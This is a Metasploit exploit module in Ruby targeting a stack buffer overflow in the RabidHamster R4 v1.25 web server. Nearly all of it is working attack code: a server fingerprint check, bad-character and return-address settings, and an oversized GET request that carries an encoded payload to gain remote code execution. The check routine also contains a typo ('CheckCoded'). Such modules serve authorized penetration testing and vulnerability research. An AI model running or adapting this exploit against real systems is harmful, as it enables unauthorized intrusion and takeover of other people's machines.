##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

#   http://metasploit.com/framework/

##



require 'msf/core'



class Metasploit3 < Msf::Exploit::Remote

    Rank = NormalRanking



    include Msf::Exploit::Remote::HttpClient



    def initialize(info={})

        super(update_info(info,

            'Name'           => "RabidHamster R4 Log Entry sprintf() Buffer Overflow",

            'Description'    => %q{

                    This module exploits a vulnerability found in RabidHamster R4's web server.

                By supplying a malformed HTTP request, it is possible to trigger a stack-based

                buffer overflow when generating a log, which may result in arbitrary code

                execution under the context of the user.

            },

            'License'        => MSF_LICENSE,

            'Author'         =>

                [

                    'Luigi Auriemma',  #Discovery, PoC

                    'sinn3r'           #Metasploit

                ],

            'References'     =>

                [

                    ['OSVDB', '79007'],

                    ['URL', 'http://aluigi.altervista.org/adv/r4_1-adv.txt'],

                    ['URL', 'http://secunia.com/advisories/47901/']

                ],

            'Payload'        =>

                {

                    'StackAdjustment' => -3500,

                    'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x20"

                },

            'DefaultOptions'  =>

                {

                    'ExitFunction' => "process"

                },

            'Platform'       => 'win',

            'Targets'        =>

                [

                    ['R4 v1.25', {'Ret'=>0x73790533}]  #JMP ESI (ddraw.dll)

                ],

            'Privileged'     => false,

            'DisclosureDate' => "Feb 09 2012",

            'DefaultTarget'  => 0))



            register_options(

                [

                    OptPort.new('RPORT', [true, 'The remote port', 8888])

                ], self.class)

    end



    def check

        res = send_request_cgi({

            'method' => 'GET',

            'uri'    => '/'

        })



        if res and res.headers['Server'] == 'R4 Embedded Server'

            return Exploit::CheckCode::Detected

        else

            return Exploit::CheckCoded::Safe

        end

    end



    def exploit

        buf = ''

        buf << payload.encoded

        buf << rand_text_alpha(2022-buf.length, payload_badchars)

        buf << [target.ret].pack("V*")

        buf << pattern_create(200)

        buf << rand_text_alpha(3000-buf.length, payload_badchars)



        send_request_cgi({

            'method' => 'GET',

            'uri'    => "/?#{buf}"

        })

    end

end